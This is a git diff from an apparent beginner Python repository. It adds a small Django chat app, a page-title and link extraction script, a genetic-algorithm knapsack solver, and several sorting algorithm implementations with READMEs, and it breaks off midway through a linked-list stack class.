mode 100644 index 00000000..e69de29b diff --git a/DJANGO PROJECTS/Chat/room/models.py b/DJANGO PROJECTS/Chat/room/models.py new file mode 100644 index 00000000..5ee11067 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/models.py @@ -0,0 +1,9 @@ +from django.db import models + +# Create your models here. +class Room(models.Model): + name = models.CharField(max_length=200) + slug = models.SlugField(max_length=40) + + def __str__(self): + return self.name \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/room/routing.py b/DJANGO PROJECTS/Chat/room/routing.py new file mode 100644 index 00000000..61660439 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/routing.py @@ -0,0 +1,6 @@ +from django.urls import re_path +from room.consumers import ChatConsumer + +websocket_urlpatterns = [ + re_path(r"ws/rooms/(?P\w+)/$", ChatConsumer.as_asgi()), +] \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/room/templates/create_room.html b/DJANGO PROJECTS/Chat/room/templates/create_room.html new file mode 100644 index 00000000..fdfa6ee5 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/templates/create_room.html @@ -0,0 +1,14 @@ +{% extends 'base.html' %} + +{% block title %}Create Room{% endblock %} + +{% block content %} +

Create Room

+
+
+ {% csrf_token %} + {{ form.as_p }} + +
+
+{% endblock %} \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/room/templates/room_detail.html b/DJANGO PROJECTS/Chat/room/templates/room_detail.html new file mode 100644 index 00000000..098f6585 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/templates/room_detail.html @@ -0,0 +1,69 @@ +{% extends 'base.html' %} + +{% block title %}{{room.name}}{% endblock %} + +{% block content %} + +
+

{{room.name}}

+

{{request.user.username|json_script:"json-username"}}

+ +
+
+ +
+
+ + +
+
+
+ {% block script %} + {{request.user.username|json_script:"json-username"}} + + {% endblock %} + +{% endblock %} \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/room/templates/rooms.html b/DJANGO PROJECTS/Chat/room/templates/rooms.html new file mode 100644 index 00000000..e59a01f2 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/templates/rooms.html @@ -0,0 +1,17 @@ +{% extends 'base.html' %} +{% block title %}Rooms{% endblock %} + +{% block content %} +

Rooms

+
+ {% for room in rooms %} +
+

{{room.name}}

+ +
+ {% endfor %} +
+ + + +{% endblock %} \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/room/tests.py b/DJANGO PROJECTS/Chat/room/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/DJANGO PROJECTS/Chat/room/urls.py b/DJANGO PROJECTS/Chat/room/urls.py new file mode 100644 index 00000000..99930225 --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/urls.py @@ -0,0 +1,8 @@ +from django.urls import path +from . import views + +urlpatterns = [ + path('',views.roomview, name="room"), + path('', views.room_detail,name="roomdetail"), + path('room/create',views.create, name="create") +] \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/room/views.py b/DJANGO PROJECTS/Chat/room/views.py new file mode 100644 index 00000000..dfda150e --- /dev/null +++ b/DJANGO PROJECTS/Chat/room/views.py @@ -0,0 +1,26 @@ +from django.shortcuts import render, redirect +from .models import Room +from .forms import RoomForm +from django.contrib.auth.decorators import login_required + +# Create your views here. +@login_required +def roomview(request): + rooms = Room.objects.all() + return render(request, 'rooms.html', context={'rooms':rooms}) + +def room_detail(request, slug): + room = Room.objects.get(slug=slug) + return render(request, 'room_detail.html', context={'room':room}) + +def create(request): + if request.method == "POST": + form = RoomForm(request.POST) + + if form.is_valid(): + form.save() + return redirect(roomview) + + else: + form = RoomForm + return render(request, 'create_room.html', {'form':form}) \ No newline at end of file diff --git a/DJANGO PROJECTS/Chat/static/images/pic.png b/DJANGO PROJECTS/Chat/static/images/pic.png new file mode 100644 index 00000000..9dabbf0f Binary files /dev/null and b/DJANGO PROJECTS/Chat/static/images/pic.png differ diff --git a/DOM EXTRACTION/README.md b/DOM EXTRACTION/README.md new file mode 100644 index 00000000..9a9ae732 --- /dev/null +++ b/DOM EXTRACTION/README.md @@ -0,0 +1,19 @@ +# DOM Extraction Script + +Extract the DOM elements of a webpage efficiently. + +## Installation + +Use the package manager [pip](https://pip.pypa.io/en/stable/) to install the required libraries. + +```bash +pip install requests beautifulsoup4 + +``` + +## Usage + +```python +url = 'https://example.com' +``` +Replace 'https://example.com' with the URL of the website you want to extract the DOM from. \ No newline at end of file diff --git a/DOM EXTRACTION/main.py b/DOM EXTRACTION/main.py new file mode 100644 index 00000000..88e1105b --- /dev/null +++ b/DOM EXTRACTION/main.py @@ -0,0 +1,26 @@ +import requests +from bs4 import BeautifulSoup + +# Define the URL of the website you want to extract the DOM from +url = 'https://example.com' + +response = requests.get(url) + +if response.status_code == 200: + soup = BeautifulSoup(response.text, 'html.parser') + + + title = soup.title + if title: + print("Page Title:", title.text) + else: + print("No title tag found.") + + + links = soup.find_all('a') + print("Links in the page:") + for link in links: + print(link.get('href')) + +else: + print("Failed to retrieve the page. Status code:", response.status_code) diff --git a/Data Structures and Algorithms/Genetic Algorithms/README.md b/Data Structures and Algorithms/Genetic Algorithms/README.md new file mode 100644 index 00000000..bfcf6260 --- /dev/null +++ b/Data Structures and Algorithms/Genetic Algorithms/README.md @@ -0,0 +1,9 @@ +# Genetic Algorithms in Problem Solving + +## Overview +This repository contains implementations of genetic algorithms (GAs) applied to solve various problems. Genetic algorithms are a family of optimization algorithms inspired by the process of natural selection. They are commonly used to find solutions for complex, non-linear, and multi-objective optimization problems. This collection demonstrates the application of GAs to address different problem domains. + + +## Problem Domains +- [Knapsack Problem](./knapsack/): Applying GAs to find the best combination of items within a weight limit. + diff --git a/Data Structures and Algorithms/Genetic Algorithms/knapsack_problem.py b/Data Structures and Algorithms/Genetic Algorithms/knapsack_problem.py new file mode 100644 index 00000000..a3a21c24 --- /dev/null +++ b/Data Structures and Algorithms/Genetic Algorithms/knapsack_problem.py @@ -0,0 +1,123 @@ +import random +import matplotlib.pyplot as plt + +""" +This program uses a genetic algorithm to solve the 0/1 Knapsack problem. +In the Knapsack problem, you are given a set of items, each with a value and a weight, +and a knapsack with a weight limit. The goal is to select a combination of items +to maximize the total value without exceeding the weight limit. +This genetic algorithm iteratively evolves a population of candidate solutions to find the best combination. + +Knapsack Problem Parameters: +- weight_limit: The weight limit of the knapsack. +- item_list: A list of items, where each item is represented as (value, weight). + +Genetic Algorithm Parameters: +- population_size: The size of the population. +- max_generations: The maximum number of generations to run. +- mutation_rate: The probability of mutation for each gene in the chromosome. +- chromosome_length: The number of genes in each chromosome. +""" + +# Knapsack Problem Parameters +weight_limit = 56 +item_list = [(17, 1), (78, 20), (56, 34), (2, 15), (34, 21), (3, 10)] # (value, weight) + +# Genetic Algorithm Parameters +population_size = 100 +max_generations = 300 +mutation_rate = 0.5 +chromosome_length = len(item_list) + + +def initialize_population(): + # Initialize the population with random chromosomes + population = [] + for _ in range(population_size): + chromosome = [random.randint(0, 1) for _ in range(chromosome_length)] + population.append(chromosome) + return population + + +def calculate_fitness(chromosome): + # Calculate the fitness of a chromosome based on its value and weight + total_value = 0 + total_weight = 0 + for gene, item in zip(chromosome, item_list): + if gene == 1: + total_value += item[0] + total_weight += item[1] + if total_weight > weight_limit: + return 0 # Violates weight constraint + return total_value + + +def selection(population): + # Select individuals from the population based on their fitness + selected = [] + total_fitness = sum(calculate_fitness(chromosome) for chromosome in population) + for _ in range(population_size): + r = random.uniform(0, total_fitness) + cumulative_fitness = 0 + for chromosome in population: + cumulative_fitness += calculate_fitness(chromosome) + if cumulative_fitness >= r: + selected.append(chromosome) + break + return selected + + +def crossover(parent1, parent2): + # Perform one-point crossover to create two children + crossover_point = random.randint(1, chromosome_length - 1) + child1 = parent1[:crossover_point] + parent2[crossover_point:] + child2 = parent2[:crossover_point] + parent1[crossover_point:] + return child1, child2 + + +def mutation(chromosome): + # Apply mutation to a chromosome with a given probability + mutated_chromosome = chromosome[:] + for i in range(chromosome_length): + if random.random() < mutation_rate: + mutated_chromosome[i] = 1 - mutated_chromosome[i] + return mutated_chromosome + + +def genetic_algorithm(): + # Main genetic algorithm loop + population = initialize_population() + fitness_history = [] + for generation in range(max_generations): + population = selection(population) + new_population = [] + while len(new_population) < population_size: + parent1 = random.choice(population) + parent2 = random.choice(population) + child1, child2 = crossover(parent1, parent2) + mutated_child1 = mutation(child1) + mutated_child2 = mutation(child2) + new_population.extend([mutated_child1, mutated_child2]) + + best_fit = max(calculate_fitness(chromosome) for chromosome in new_population) + fitness_history.append(best_fit) + + population = new_population + + best_chromosome = max(population, key=calculate_fitness) + best_fitness = calculate_fitness(best_chromosome) + + return best_chromosome, best_fitness, fitness_history + + +# Run the genetic algorithm and print the result +best_solution, best_fitness_value, fitness_history = genetic_algorithm() +print("Best Solution:", best_solution) +print("Best Fitness Value:", best_fitness_value) + +# Plot fitness history +plt.plot(fitness_history) +plt.title('Fitness History') +plt.xlabel('Generation') +plt.ylabel('Fitness') +plt.show() diff --git a/Data Structures and Algorithms/README.md b/Data Structures and Algorithms/README.md index a9b289b9..29a0afc6 100644 --- a/Data Structures and Algorithms/README.md +++ b/Data Structures and Algorithms/README.md @@ -8,6 +8,10 @@ - Bogo Sort +- Cocktail Sort + +- Counting Sort + - Linear search (for numbers) - Linear search (for strings) @@ -28,10 +32,19 @@ - Quick Sort (for strings) +- Radix Sort + - Recursion - Recursive Binary Search +- Shell Sort + - Selection Sort - Binary Tree traversal + +- Radix Sort (for numbers) using Counting Sort +1. Find the largest number int given array. It has n digits. Therefore, the loop should go up to hundreds place (n times) +2. It is stable sorting algorithm +3. Sort the elements based on the unit place digits, then tenth place digits ... nTh place digits diff --git a/Data Structures and Algorithms/binary_search.py b/Data Structures and Algorithms/Search Algorithms/binary_search.py similarity index 100% rename from Data Structures and Algorithms/binary_search.py rename to Data Structures and Algorithms/Search Algorithms/binary_search.py diff --git a/Data Structures and Algorithms/binary_search_strings.py b/Data Structures and Algorithms/Search Algorithms/binary_search_strings.py similarity index 100% rename from Data Structures and Algorithms/binary_search_strings.py rename to Data Structures and Algorithms/Search Algorithms/binary_search_strings.py diff --git a/Data Structures and Algorithms/linear_search.py b/Data Structures and Algorithms/Search Algorithms/linear_search.py similarity index 100% rename from Data Structures and Algorithms/linear_search.py rename to Data Structures and Algorithms/Search Algorithms/linear_search.py diff --git a/Data Structures and Algorithms/linear_search_strings.py b/Data Structures and Algorithms/Search Algorithms/linear_search_strings.py similarity index 100% rename from Data Structures and Algorithms/linear_search_strings.py rename to Data Structures and Algorithms/Search Algorithms/linear_search_strings.py diff --git a/Data Structures and Algorithms/recursive_binary_search.py b/Data Structures and Algorithms/Search Algorithms/recursive_binary_search.py similarity index 100% rename from Data Structures and Algorithms/recursive_binary_search.py rename to Data Structures and Algorithms/Search Algorithms/recursive_binary_search.py diff --git a/Data Structures and Algorithms/Bubble_sort.py b/Data Structures and Algorithms/Sorting Algorithms/Bubble_sort.py similarity index 96% rename from Data Structures and Algorithms/Bubble_sort.py rename to Data Structures and Algorithms/Sorting Algorithms/Bubble_sort.py index 2ee40a78..706e53ef 100644 --- a/Data Structures and Algorithms/Bubble_sort.py +++ b/Data Structures and Algorithms/Sorting Algorithms/Bubble_sort.py @@ -1,21 +1,21 @@ - -def BubbleSort(array): - - # Loop to access each array element - for i in range(len(array)): - for j in range(0,len(array)-1-i): - # Replace > with < for descending order - if array[j] > array[j+1]: - - # Swapping elements if elements are not in the intended order - temp = array[j] - array[j] = array[j+1] - array[j+1] = temp - return array - - -# Driver code -if __name__ == '__main__': - Array = [-1,9,21,34,1,5,6,8,10,23,25,27,31] - print("Array before sorting: ", Array) + +def BubbleSort(array): + + # Loop to access each array element + for i in range(len(array)): + for j in range(0,len(array)-1-i): + # Replace > with < for descending order + if array[j] > array[j+1]: + + # Swapping elements if elements are not in the intended order + temp = array[j] + array[j] = array[j+1] + array[j+1] = temp + return array + + +# Driver code +if __name__ == '__main__': + Array = [-1,9,21,34,1,5,6,8,10,23,25,27,31] + print("Array before sorting: ", Array) print("Array after sorting: ", BubbleSort(Array)) \ No newline at end of file diff --git a/Data Structures and Algorithms/Sorting Algorithms/Cycle_Sort.py b/Data Structures and Algorithms/Sorting Algorithms/Cycle_Sort.py new file mode 100644 index 00000000..1afd985f --- /dev/null +++ b/Data Structures and Algorithms/Sorting Algorithms/Cycle_Sort.py @@ -0,0 +1,50 @@ +from typing import List + +def cycle_sort(nums: List[int]) -> int: + + writes = 0 + + for cycle_start in range(len(nums) - 1): + current = nums[cycle_start] + + # Find the target position for the current item. + target_position = cycle_start + for i in range(cycle_start + 1, len(nums)): + if nums[i] < current: + target_position += 1 + + # Skip if the item is already in the correct position. + if target_position == cycle_start: + continue + + # Handle duplicates by finding the next available position. + while current == nums[target_position]: + target_position += 1 + + nums[target_position], current = current, nums[target_position] + writes += 1 + + # Rotate the rest of the cycle. + while target_position != cycle_start: + target_position = cycle_start + for i in range(cycle_start + 1, len(nums)): + if nums[i] < current: + target_position += 1 + + while current == nums[target_position]: + target_position += 1 + + nums[target_position], current = current, nums[target_position] + writes += 1 + + return writes + + +if __name__ == "__main__": + arr = [1, 8, 3, 9, 10, 10, 2, 4] + print("Before sort:", arr) + + writes = cycle_sort(arr) + + print("After sort:", arr) + print(f"Number of writes: {writes}") diff --git a/Data Structures and Algorithms/Heap_sort.py b/Data Structures and Algorithms/Sorting Algorithms/Heap_sort.py similarity index 95% rename from Data Structures and Algorithms/Heap_sort.py rename to Data Structures and Algorithms/Sorting Algorithms/Heap_sort.py index b47b5301..4d0dacfb 100644 --- a/Data Structures and Algorithms/Heap_sort.py +++ b/Data Structures and Algorithms/Sorting Algorithms/Heap_sort.py @@ -1,43 +1,43 @@ - -def Heapify(Array, n, i): - # Find largest among root and children - largest = i - l = 2 * i + 1 - r = 2 * i + 2 - - if l < n and Array[l] > Array[largest]: - largest = l - - if r < n and Array[r] > Array[largest]: - largest = r - - # If root is not largest, swap with largest and continue heapifying - if largest != i: - Array[i], Array[largest] = Array[largest], Array[i] - Heapify(Array, n, largest) - - -def HeapSort(Array): - n = len(Array) - - # Build a max heap - for i in range(n//2, -1, -1): - Heapify(Array, n, i) - - # One by one extract elements - for i in range(n-1, 0, -1): - # Swap - Array[i], Array[0] = Array[0], Array[i] - - # Heapify root element - Heapify(Array, i, 0) - - -if __name__ == "__main__": - Array = [-2, -3, -1, 11, 9, 12, 4, -5, -12, 6, 19, 20] - HeapSort(Array) - n = len(Array) - print("Sorted array is") - for i in range(n): - print("%d " % Array[i], end='') + +def Heapify(Array, n, i): + # Find largest among root and children + largest = i + l = 2 * i + 1 + r = 2 * i + 2 + + if l < n and Array[l] > Array[largest]: + largest = l + + if r < n and Array[r] > Array[largest]: + largest = r + + # If root is not largest, swap with largest and continue heapifying + if largest != i: + Array[i], Array[largest] = Array[largest], Array[i] + Heapify(Array, n, largest) + + +def HeapSort(Array): + n = len(Array) + + # Build a max heap + for i in range(n//2, -1, -1): + Heapify(Array, n, i) + + # One by one extract elements + for i in range(n-1, 0, -1): + # Swap + Array[i], Array[0] = Array[0], Array[i] + + # Heapify root element + Heapify(Array, i, 0) + + +if __name__ == "__main__": + Array = [-2, -3, -1, 11, 9, 12, 4, -5, -12, 6, 19, 20] + HeapSort(Array) + n = len(Array) + print("Sorted array is") + for i in range(n): + print("%d " % Array[i], end='') \ No newline at end of file diff --git a/Data Structures and Algorithms/Insertion_sort.py b/Data Structures and Algorithms/Sorting Algorithms/Insertion_sort.py similarity index 96% rename from Data Structures and Algorithms/Insertion_sort.py rename to Data Structures and Algorithms/Sorting Algorithms/Insertion_sort.py index 486e7ae1..031b6b3f 100644 --- a/Data Structures and Algorithms/Insertion_sort.py +++ b/Data Structures and Algorithms/Sorting Algorithms/Insertion_sort.py @@ -1,18 +1,18 @@ - -def insertionSort(Array): - for i in range(1, len(Array)): - key = Array[i] - j = i - 1 - - # Compare key with each element on the left of it until an element - # smaller than it is found - # For descending order, change keyArray[j]. - while j >= 0 and key < Array[j]: - Array[j + 1] = Array[j] - j -= 1 - Array[j + 1] = key - return Array - -if __name__ == '__main__': - Array = [-2, -3, -1, 11, 9, 12, 4, -5, -12, 6, 19, 20] + +def insertionSort(Array): + for i in range(1, len(Array)): + key = Array[i] + j = i - 1 + + # Compare key with each element on the left of it until an element + # smaller than it is found + # For descending order, change keyArray[j]. + while j >= 0 and key < Array[j]: + Array[j + 1] = Array[j] + j -= 1 + Array[j + 1] = key + return Array + +if __name__ == '__main__': + Array = [-2, -3, -1, 11, 9, 12, 4, -5, -12, 6, 19, 20] print(insertionSort(Array)) \ No newline at end of file diff --git a/Data Structures and Algorithms/Sorting Algorithms/Pigeonhole_Sort.py b/Data Structures and Algorithms/Sorting Algorithms/Pigeonhole_Sort.py new file mode 100644 index 00000000..11a60934 --- /dev/null +++ b/Data Structures and Algorithms/Sorting Algorithms/Pigeonhole_Sort.py @@ -0,0 +1,33 @@ +# Python program to implement Pigeonhole Sort + +def pigeonhole_sort(a): + # size of range of values in the list + # (ie, number of pigeonholes we need) + my_min = min(a) + my_max = max(a) + size = my_max - my_min + 1 + + # our list of pigeonholes + holes = [0] * size + + # Populate the pigeonholes. + for x in a: + assert type(x) is int, "integers only" + holes[x - my_min] += 1 + + # Put the elements back into the array in order. + i = 0 + for count in range(size): + while holes[count] > 0: + holes[count] -= 1 + a[i] = count + my_min + i += 1 + + +a = [8, 1, 2, 7, 4, 5, 8] +print("Sorted order is : ", end = ' ') + +pigeonhole_sort(a) + +for i in range(0, len(a)): + print(a[i], end = ' ') diff --git a/Data Structures and Algorithms/Sorting Algorithms/README.md b/Data Structures and Algorithms/Sorting Algorithms/README.md new file mode 100644 index 00000000..7ddfda4b --- /dev/null +++ b/Data Structures and Algorithms/Sorting Algorithms/README.md @@ -0,0 +1,49 @@ +# Cycle Sort Algorithm + +## Overview +Cycle Sort is a comparison-based sorting algorithm that is efficient when minimizing memory writes is important. It is an in-place sorting algorithm that rearranges the elements by identifying cycles in the permutation of elements. + +## Algorithm Explanation +The algorithm works by: +1. Identifying the correct position of each element in the array. +2. Placing the element in its correct position and replacing the element already there in the cycle. +3. Repeating the process for the remaining unsorted elements. + +## Complexity +- **Time Complexity**: + - Best, Worst, and Average Case: O(n²) (due to nested cycles). +- **Space Complexity**: O(1) (in-place sorting). + +## Usage Example +```python +from Cycle_Sort import cycle_sort + +arr = [4, 5, 3, 2, 1] +print("Original array:", arr) +writes = cycle_sort(arr) +print("Sorted array:", arr) +print("Number of writes performed:", writes) +``` +# Pigeonhole Sort Algorithm + +## Overview +Pigeonhole Sort is a sorting algorithm that works well for sorting lists where the range of values (i.e., the difference between the maximum and minimum values) is not significantly larger than the number of elements in the list. It is a non-comparison-based sorting algorithm. + +The algorithm works by placing each element into its corresponding "pigeonhole" (a slot or bucket) and then iterating through the pigeonholes in order to reconstruct the sorted list. + +## Complexity +- **Time Complexity**: + - The time complexity of Pigeonhole Sort is O(n + range), where n is the number of elements in the list and range is the difference between the maximum and minimum values. + + - This makes it efficient for lists with a small range of values. +- **Space Complexity**: The space complexity is O(range), as it requires additional space for the holes list. +- **Limitations**: Pigeonhole Sort is not suitable for lists with a large range of values, as it would require a lot of memory for the holes list. + +## Usage Example +```python +from PigeonHole_Sort import pigeonhole_sort + +arr = [4, 5, 3, 2, 1] +print("Original array:", arr) +writes = pigeonhole_sort(arr) +print("Sorted array:", arr) diff --git a/Data Structures and Algorithms/bogo_sort.py b/Data Structures and Algorithms/Sorting Algorithms/bogo_sort.py similarity index 100% rename from Data Structures and Algorithms/bogo_sort.py rename to Data Structures and Algorithms/Sorting Algorithms/bogo_sort.py diff --git a/Data Structures and Algorithms/Sorting Algorithms/bucket_sort.py b/Data Structures and Algorithms/Sorting Algorithms/bucket_sort.py new file mode 100644 index 00000000..7d6e4658 --- /dev/null +++ b/Data Structures and Algorithms/Sorting Algorithms/bucket_sort.py @@ -0,0 +1,29 @@ +import random + +def bucketSort(array): + largest = max(array) + length = len(array) + size = largest/length + + # Create Buckets + buckets = [[] for i in range(length)] + + # Bucket Sorting + for i in range(length): + index = int(array[i]/size) + if index != length: + buckets[index].append(array[i]) + else: + buckets[length - 1].append(array[i]) + + # Sorting Individual Buckets + for i in range(len(array)): + buckets[i] = sorted(buckets[i]) + + + # Flattening the Array + result = [] + for i in range(length): + result = result + buckets[i] + + return result diff --git a/Data Structures and Algorithms/Sorting Algorithms/cocktail_sort.py b/Data Structures and Algorithms/Sorting Algorithms/cocktail_sort.py new file mode 100644 index 00000000..6807ce99 --- /dev/null +++ b/Data Structures and Algorithms/Sorting Algorithms/cocktail_sort.py @@ -0,0 +1,27 @@ +import sys + +def cocktail_sort(arr): + n = len(arr) + swapped = True + start = 0 + end = n - 1 + while swapped: + swapped = False + + for i in range(start, end): + if arr[i] > arr[i + 1]: + arr[i], arr[i + 1] = arr[i + 1], arr[i] + swapped = True + if not swapped: + break + swapped = False + end -= 1 + + for i in range(end - 1, start - 1, -1): + if arr[i] > arr[i + 1]: + arr[i], arr[i + 1] = arr[i + 1], arr[i] + swapped = True + start += 1 + return arr + +print(cocktail_sort([5, 8, 1, 4, 7, 9, 6, 3, 2])) diff --git a/Data Structures and Algorithms/Sorting Algorithms/counting_sort.py b/Data Structures and Algorithms/Sorting Algorithms/counting_sort.py new file mode 100644 index 00000000..077aaf19 --- /dev/null +++ b/Data Structures and Algorithms/Sorting Algorithms/counting_sort.py @@ -0,0 +1,41 @@ +def counting_sort(list): + """ + sorts a list of nonnegative integers in ascending order + + takes O(n + k) time where + k is the maximum value in the list + n is the length of the list + """ + + k = max(list) + n = len(list) + count = [0] * (k+1) + new_lst = [0] * n + + # Counting Sort algorithm + for i in range(n): + count[list[i]] += 1 + + for i in range(1, k+1): + count[i] += count[i-1] + + for i in range(n): + new_lst[count[list[i]]-1] = list[i] + count[list[i]] -= 1 + + # Copy elements back into original list + for i in range(n): + list[i] = new_lst[i] + + return list + +# Test Case +def verify(list): + list_copy = list[:] + list_copy.sort() + return list == list_copy + +test_list = [1, 3, 1, 4, 10, 6, 3, 4, 5, 8, 3, 4, 8] +sorted = counting_sort(test_list) +print(sorted) +print(verify(sorted)) \ No newline at end of file diff --git a/Data Structures and Algorithms/Sorting Algorithms/counting_sort_2.py b/Data Structures and Algorithms/Sorting Algorithms/counting_sort_2.py new file mode 100644 index 00000000..4e4c653f --- /dev/null +++ b/Data Structures and Algorithms/Sorting Algorithms/counting_sort_2.py @@ -0,0 +1,44 @@ +def counting_sort(list, digit): + """ + sorts a list of nonnegative integers in ascending order + unstable version used as a helper for radix sort + + takes O(n + k) time where + k is the maximum value in the list + n is the length of the list + """ + n = len(list) + count = [0] * 10 + new_list = [0] * n + + for i in range(n) : + index = int((list[i]/digit)%10) + count[index] += 1 + + for i in range(1, 10): + count[i] = count[i] + count[i-1] + + for i in range (n-1, -1, -1): + index = int((list[i]/digit)%10) + new_list[count[index]-1] = list[i] + count[index] -= 1 + + for i in range(n): + list[i] = new_list[i] + + return list + +# Test Case +def verify(list): + list_copy = list[:] + list_copy.sort() + return list == list_copy + +def main(): + test_list = [1, 3, 1, 4, 9, 6, 3, 4, 5, 8, 3, 4, 8] + sorted = counting_sort(test_list, 1) + print(sorted) + print(verify(sorted)) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/Data Structures and Algorithms/linked_list_merge_sort.py b/Data Structures and Algorithms/Sorting Algorithms/linked_list_merge_sort.py similarity index 100% rename from Data Structures and Algorithms/linked_list_merge_sort.py rename to Data Structures and Algorithms/Sorting Algorithms/linked_list_merge_sort.py diff --git a/Data Structures and Algorithms/merge_sort.py b/Data Structures and Algorithms/Sorting Algorithms/merge_sort.py similarity index 100% rename from Data Structures and Algorithms/merge_sort.py rename to Data Structures and Algorithms/Sorting Algorithms/merge_sort.py diff --git a/Data Structures and Algorithms/merge_sort_2.py b/Data Structures and Algorithms/Sorting Algorithms/merge_sort_2.py similarity index 100% rename from Data Structures and Algorithms/merge_sort_2.py rename to Data Structures and Algorithms/Sorting Algorithms/merge_sort_2.py diff --git a/Data Structures and Algorithms/quick_sort.py b/Data Structures and Algorithms/Sorting Algorithms/quick_sort.py similarity index 100% rename from Data Structures and Algorithms/quick_sort.py rename to Data Structures and Algorithms/Sorting Algorithms/quick_sort.py diff --git a/Data Structures and Algorithms/quick_sort_string.py b/Data Structures and Algorithms/Sorting Algorithms/quick_sort_string.py similarity index 100% rename from Data Structures and Algorithms/quick_sort_string.py rename to Data Structures and Algorithms/Sorting Algorithms/quick_sort_string.py diff --git a/Data Structures and Algorithms/quick_sort_v2.py b/Data Structures and Algorithms/Sorting Algorithms/quick_sort_v2.py similarity index 100% rename from Data Structures and Algorithms/quick_sort_v2.py rename to Data Structures and Algorithms/Sorting Algorithms/quick_sort_v2.py diff --git a/Data Structures and Algorithms/Sorting Algorithms/radix_sort.py b/Data Structures and Algorithms/Sorting Algorithms/radix_sort.py new file mode 100644 index 00000000..2f80bd11 --- /dev/null +++ b/Data Structures and Algorithms/Sorting Algorithms/radix_sort.py @@ -0,0 +1,27 @@ +from counting_sort_2 import counting_sort, verify + +def radix_sort(list): + """ + sorts a list of integers in ascending order in a particular base + + takes O(d(n + k)) where: + d is the number of digits of the maximum element + k is the maximum value in the list + n is the length of the list + """ + + max_val = max(list) + digit = 1 + + while digit < max_val: + counting_sort(list, digit) + digit *= 10 + + return list + +# Test Case +test_list = [54, 897, 434, 4, 8, 209, 33, 578, 443, 930, 564, 25, 347, 6, 1] +sorted = radix_sort(test_list) +print(sorted) +print(verify(sorted)) + \ No newline at end of file diff --git a/Data Structures and Algorithms/selection_sort.py b/Data Structures and Algorithms/Sorting Algorithms/selection_sort.py similarity index 100% rename from Data Structures and Algorithms/selection_sort.py rename to Data Structures and Algorithms/Sorting Algorithms/selection_sort.py diff --git a/Data Structures and Algorithms/Sorting Algorithms/shell_sort.py b/Data Structures and Algorithms/Sorting Algorithms/shell_sort.py new file mode 100644 index 00000000..d84fbb29 --- /dev/null +++ b/Data Structures and Algorithms/Sorting Algorithms/shell_sort.py @@ -0,0 +1,18 @@ +def shell_sort(arr): + n = len(arr) + gap = n // 2 # gap size + + while gap > 0: + for i in range(gap, n): + temp = arr[i] + j = i + # Perform insertion sort for the elements separated by the gap + while j >= gap and arr[j - gap] > temp: + arr[j] = arr[j - gap] + j -= gap + arr[j] = temp + gap //= 2 + + return arr + +print(shell_sort([5, 8, 1, 4, 7, 9, 6, 3, 2])) diff --git a/Data Structures and Algorithms/sleep_sort.py b/Data Structures and Algorithms/Sorting Algorithms/sleep_sort.py similarity index 100% rename from Data Structures and Algorithms/sleep_sort.py rename to Data Structures and Algorithms/Sorting Algorithms/sleep_sort.py diff --git a/Data Structures and Algorithms/len_nth_word_from_end.py b/Data Structures and Algorithms/len_nth_word_from_end.py new file mode 100644 index 00000000..fd56fb3a --- /dev/null +++ b/Data Structures and Algorithms/len_nth_word_from_end.py @@ -0,0 +1,19 @@ +# checks the length of the nth word from the end using split +def len_nth_word_from_end(str, num): + ls = str.split(" ") + plc = -1 + word_num = 0 + while plc >= -1 * len(ls): + # accounts for a variable number of whitespaces between words + if ls[plc] != '': + word_num += 1 + if word_num == num: + return len(ls[plc]) + else: + plc -= 1 + else: + return -1 + +s = "fly me to the moon " +print(len_nth_word_from_end(s, 3)) +print(len_nth_word_from_end(s, 6)) diff --git a/Data Structures and Algorithms/queues.py b/Data Structures and Algorithms/queues.py new file mode 100644 index 00000000..95f67510 --- /dev/null +++ b/Data Structures and Algorithms/queues.py @@ -0,0 +1,27 @@ +class Queue: + def __init__(self): + self.queue = [] + + def enqueue(self, item): + self.queue.append(item) + + def dequeue(self): + if not self.is_empty(): + return self.queue.pop(0) + return "Queue is empty" + + def is_empty(self): + return len(self.queue) == 0 + + def peek(self): + return self.queue[0] if not self.is_empty() else None + + def size(self): + return len(self.queue) + +# Example Usage +q = Queue() +q.enqueue(10) +q.enqueue(20) +print(q.dequeue()) # Output: 10 +print(q.peek()) # Output: 20 diff --git a/Data Structures and Algorithms/radix_sort.py b/Data Structures and Algorithms/radix_sort.py new file mode 100644 index 00000000..c53755e3 --- /dev/null +++ b/Data Structures and Algorithms/radix_sort.py @@ -0,0 +1,40 @@ +def countingSort(array, place): + size = len(array) + output = [0] * size + count = [0] * 10 + + # Calculate count of elements + for i in range(0, size): + index = array[i] // place + count[index % 10] += 1 + + # Calculate cumulative count + for i in range(1, 10): + count[i] += count[i - 1] + + # Place the elements in sorted order + i = size - 1 + while i >= 0: + index = array[i] // place + output[count[index % 10] - 1] = array[i] + count[index % 10] -= 1 + i -= 1 + + for i in range(0, size): + array[i] = output[i] + + +# Main function to implement radix sort +def radixSort(array): + # Get maximum element + max_element = max(array) + + place = 1 + while max_element // place > 0: + countingSort(array, place) + place *= 10 + + +data = [121, 432, 564, 23, 1, 45, 788] +radixSort(data) +print(data) \ No newline at end of file diff --git a/Data Structures and Algorithms/stack/stack.py b/Data Structures and Algorithms/stack/stack.py index 3243794d..535a71c3 100644 --- a/Data Structures and Algorithms/stack/stack.py +++ b/Data Structures and Algorithms/stack/stack.py @@ -1,5 +1,5 @@ class stack: - + def __init__(self): self.items=input() print(self.items.lstrip) @@ -21,6 +21,64 @@ def print_stack(self): stack1.pop() #allows one to remove items to the stack stack1.print_stack() +# stack implemetation using linkedlist + +# Create a class for Node that represents an individual element of the linked list +class Node: + + def __init__(self, data): + self.data = data + self.next = None + + +class StackLinked: + def __init__(self): + self.start = None + + # Method to add a new element to the top of the stack + def push(self, data): + newNode = Node(data) + + # If the stack is empty, make the new node the first element + 